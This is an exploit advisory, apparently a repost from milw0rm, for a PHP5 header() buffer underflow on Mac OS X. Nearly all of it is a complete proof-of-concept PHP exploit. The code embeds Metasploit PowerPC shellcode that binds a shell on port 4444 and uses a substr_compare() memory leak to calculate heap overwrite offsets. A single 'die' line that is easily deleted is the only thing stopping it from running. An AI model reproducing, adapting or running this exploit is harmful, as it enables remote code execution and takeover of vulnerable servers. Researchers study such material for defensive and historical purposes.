[EXPL] PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)

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PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)
------------------------------------------------------------------------


SUMMARY

A vulnerability in PHP5 for MacOS X allows remote code execution via the
usage of the header() function.

DETAILS

Exploit:
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP header() Space Trimming Buffer Underflow Vulnerability //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

// PPC MacOSX Portshell on 4444 from Metasploit
// (16 bytes added to make it compatible with unlink exploit)
$shellcode =
"\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00".
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa".
"\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee".
"\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a".
"\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba".
"\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74".
"\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74".
"\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a".
"\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e".
"\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e".
"\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e".
"\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e".
"\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89".
"\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e".
"\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e".
"\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d".
"\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e".
"\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76";

// Offsets used for the overwrite (will be overwritten by findOffsets()
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;

findOffsets(); // Comment out if you want to just test the crash

// IF YOU OUTPUT ANYTHING THEN header() WILL FAIL
//printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);

// Convert offsets into strings
$addr1 = pack("L", $offset_1);
$addr2 = pack("L", $offset_2);

// Memory Alignment stuff
$v1 = 1;
$v2 = 2;

// Block that will contain the fake memory block
$v1 = str_repeat("B", 0x110-0x14);

// Prepare fake memory header
$v1[0] = chr(0);
$v1[1] = chr(0);
$v1[2] = chr(0);
$v1[3] = chr(4);

$v1[8] = $addr1[0];
$v1[9] = $addr1[1];
$v1[10] = $addr1[2];
$v1[11] = $addr1[3];

$v1[12] = $addr2[0];
$v1[13] = $addr2[1];
$v1[14] = $addr2[2];
$v1[15] = $addr2[3];

// Heap alignment
$v2 = str_repeat("A", 400);
$v2 = str_repeat(" ", 400);

// Trigger overflow
header($v2);

unset($v2);

// This function uses the substr_compare() vulnerability
// to get the offsets. In a remote exploit such offsets
// would get bruteforced

function findOffsets()
{
global $offset_1, $offset_2, $shellcode;
// We need to NOT clear these variables,
// otherwise the heap is too segmented
global $memdump, $d, $arr;

$sizeofHashtable = 39;
$maxlong = 0x7fffffff;

// Signature of a big endian Hashtable of size 256 with 1 element
$search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01";

$memdump = str_repeat("A", 16000);
for ($i=0; $i<400; $i++) {
$d[$i]=array();
}
unset($d[350]);
$x = str_repeat("\x01", $sizeofHashtable);
unset($d[351]);
unset($d[352]);
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }

// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;

for ($i=0; $i<16000; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
if ($y-$Y != 1 && $Y-$y!=1){
$memdump[$i] = chr(1);
} else {
$memdump[$i] = chr(0);
}
}
}

// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack("L", $addr);

// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
}

?>


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3517>
http://www.milw0rm.com/exploits/3517



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